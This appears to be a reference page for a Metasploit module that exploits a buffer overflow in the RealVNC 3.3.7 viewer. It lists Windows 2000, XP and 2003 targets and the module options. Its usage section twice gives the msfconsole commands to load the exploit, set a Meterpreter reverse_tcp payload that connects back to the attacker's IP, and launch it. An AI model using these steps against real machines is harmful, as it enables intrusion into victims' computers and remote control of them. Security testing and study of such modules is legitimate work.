RealVNC 3.3.7 Client Buffer Overflow
This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).
Exploit Rank
- Normal
Exploit Authors
- MC < mc [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Windows 2000 SP4 English (default)
- 1 - Windows XP SP2 English
- 2 - Windows 2003 SP1 English
Exploit Development
Similar Exploit Modules
- exploit/windows/vnc/ultravnc_client
- exploit/windows/vnc/ultravnc_viewer_bof
- exploit/windows/vnc/winvnc_http_get
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/vnc/realvnc_client
msf exploit(realvnc_client) > show payloads
msf exploit(realvnc_client) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(realvnc_client) > set LHOST [MY IP ADDRESS]
msf exploit(realvnc_client) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/vnc/realvnc_client
msf exploit(realvnc_client) > show payloads
msf exploit(realvnc_client) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(realvnc_client) > set LHOST [MY IP ADDRESS]
msf exploit(realvnc_client) > exploit
Exploit Module Options
| SRVHOST | The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0) |
| SRVPORT | The VNCServer daemon port to listen on (default: 5900) |
| SSL | Negotiate SSL for incoming connections |
| SSLCert | Path to a custom SSL certificate (default is randomly generated) |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3) |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| ListenerComm | The specific communication channel to use for this service |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| TCP::max_send_size | Maximum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
